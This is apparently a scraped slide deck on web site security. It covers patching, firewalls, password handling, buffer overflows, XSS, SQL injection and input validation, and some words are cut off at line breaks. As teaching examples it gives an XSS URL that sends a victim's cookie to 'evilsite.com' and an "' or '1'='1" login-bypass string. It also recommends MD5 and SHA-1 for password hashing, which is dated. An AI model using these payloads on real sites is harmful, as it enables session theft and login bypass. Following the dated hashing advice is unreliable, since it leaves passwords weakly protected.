Web Security

arghtalentData Management

Jan 31, 2013 (4 years and 2 months ago)


Web Site Security

Protecting Your Site

General Security

Keep all software patched with the latest updates and virus

Use an intrusion detection system, but only as a backup

Do not allow users to log into their computers with
Administrator/root account

The Security Mantra

Security is only as strong as the weakest point

e.g. The strongest firewall allowing only HTTP traffic can be
compromised by a web server vulnerability

Web Site Security

A website should enforce strong passwords (e.g. non
with numbers and other characters and minimum size)

Weak passwords are a common source of entry into a site

A website should not store passwords in the database in
plaintext (in case of SQL injection attacks)

Passwords can be one
way hashed using MD5, SHA
1, SHA
256, or
512 algorithms

Web Site Security

Do not open a website with additional entry points, such as secret
questions if you forget your password

These are easily compromised using public records (e.g. mother's maiden
name), and bypass passwords

This is especially true for privileged users (this should only happen inside the

Do not send passwords via unencrypted transfer

Lockdown login, registration, and passwordReset pages with SSL/TLS

Web Site Security

Enable a firewall to restrict incoming and outgoing traffic

e.g. traffic to NetBIOS, TFTP, & other vulnerable apps

Limit traffic to necessary ports (e.g. SMTP, HTTP)

Whatever traffic gets through your firewall, must itself be secure

Outgoing traffic may come from infected machines

This traffic will give you a heads up about problems

In non
Java environments, use a system for checking for buffer overflows

Educate developers on how to check for buffer overflows

Use tools that automatically check buffer boundaries

Web Site Security

Always validate input on the server
side, with or without client

side validation is merely for user convenience

In enterprise systems, if components are accessible via the Internet, it is
not adequate to secure the JSPs that (normally) access them

An intruder could bypass the JSPs

EJBs, Web Services, and other components can be secured by associating
them with users or roles

Specific methods within these components can even be associated with high
privileged users

Web Site Security

Be conscious of command injection attacks

There can be many sources: form data, request params/URIs, cookies, post
data, HTTP headers, and even data from your own database

Do not store passwords and secret information in plain view or plaintext

For examples, passwords stored in hidden fields, cookies

Do not trust users to store their own login information

Login information should be stored on the server side

Imagine storing a cookie with a user's username on their own machine

Buffer Overflow Attacks

Consider the following form:

<form action=“search.cgi” method=“post”>

<input type=“text” name=“query” />

<input type=“submit” value=“Search” />


Buffer Overflow Attacks

When the web server receives this URL, it will evaluate the
web request:

POST search.cgi HTTP/1.0


What if a malicious user submits so much data, that the size
of the memory allocated for the query parameter is exceeded?

Buffer Overflow Attacks

When the data is copied into that buffer, the data leaks into adjacent
memory space

If the data is put onto the stack (as opposed to the heap), the return address
can be overwritten

If a malicious return address can be inserted into this space, some code at that
location will be executed

This is only one method of exploiting a buffer overflow (called stack

There are many others, including attacks that affect memory on the heap (not
just the stack)


Here is an example of a stack
smashing attack:

The hacker figures out the size of the buffer (N)

A debugger or trial and error with input can easily achieve this

Now, he/she can enter N characters, followed by an address, followed
by some code

The address refers to the new code added to the stack

It can be fixed by choosing a limit on the data size (e.g.

copies N characters)

Cross Site Scripting (XSS)

Consider the following form:

<form action=“search.jsp”>

<input type=“text” name=“query” />

<input type=“submit” value=“Search” />


Cross Site Scripting (XSS)

Now, say this form is submitted to a JSP,
which starts like this:

<h2>Searching for ${param.query}</h2>

Cross Site Scripting (XSS)

Normally, such a form will submit to a URL
like this:


Cross Site Scripting (XSS)

Now consider a potential intruder who submits:

http://mysite.com/search.jsp?query=<script language='javascript'>

document.location.replace('http://evilsite.com/stealCookie.jsp?Cookie=' +


This URL sends some JavaScript code that we did not expect

In this situation, the code will steal a cookie from the attacked page and
send it to another page


Validate input to look out for this kind of attack

e.g. look for <script>

Run input through an HTML encoder

e.g. <script>


Welcome, <c:out value=‘${param.username}’
escapeXml=‘true’ />!

SQL Injection

Consider the following form:

<form action=“login.jsp”>

<input type=“text” name=“login” />

<input type=“password” name=“pwd” />

<input type=“submit” value=“Log In” />


SQL Injection

Now say this form is submitted to a JSP,
which starts like this:

<sql:query var=‘auth’>

select count(*) from Auth

where username = ‘${param.login}’

and password = ‘${param.pwd}’


SQL Injection

Normally, such a form will submit to a URL
like this:

Username: bsmith

Password: abcde


SQL Injection

Now consider a potential intruder who

Username: hacked' or '1'='1

Password: hacked' or '1'='1


SQL Injection

The resulting SQL will look like this:

select count(*) from Auth

where username='hacked' or '1'='1'

and password='hacked' or '1'='1'

The where clause always evaluates to true, so count(*) != 0

Our page will think they've successfully logged in


Validate input to look out for this kind of attack (e.g. look for special
characters like ')

Use stored procedures (e.g. PL/SQL) or prepared statements, which
encode the input (preventing special characters like ')

Create a DB account with limited privileges and use that

Do not use ‘scott’ (Oracle), ‘sa’ (SQL Server/Sybase), or ‘admin’
(PostgreSQL) as these would let an intruder see all of your data

These could also let intruders install malicious scripts, execute programs or
modify files on the server

If a less privileged account gets compromised, it will be constrained, so some
data remains protected

Command Injection

Using techniques like these, an intruder could potentially be:

Database fishing: finding tables, columns, and data in databases

Database feeding: adding data to databases (such as login

Bypassing authorization for private/privileged pages

Executing commands or scripts on the server’s operating system

Sending E
Mails through the server

Making network connections through the server

Sending personal information to a malicious website (spyware)

Prompting users for secret data (and using it maliciously) within your

Input Validation

Command injection usually occurs with non
validated input

This emphasizes the importance of input validation

Input validation can also prevent other types of attacks:

e.g. Buffer overflow attacks can be prevented by validating input size

Negative Validation

Negative validation checks for signs of malicious input

e.g. Searching for <script> tags (XSS) or ‘ (SQL Injection)

This kind of validation is weaker, as there could be other
input weaknesses of which you are unaware

e.g. It is possible to perform SQL Injection without a ‘

It is also possible that valid data is rejected

Another possibility is to replace these invalid characters or sequences
with harmless equivalents (escaping, e.g. '

' ')

Positive Validation

Positive validation ensures that the data is of the appropriate

Say we have a form that expects an E
Mail address

We should validate this data to ensure that it actually contains an E
Mail address

e.g. Regular expression: [

It is also possible that valid data is rejected, so the regular
expression should be tweaked to allow all valid E

Positive validation is generally considered better:

It can catch other errors (e.g. special SQL characters you don’t know
about like ‘

It also ensures that user data is in the correct format (users could be
notified that they entered incorrect data)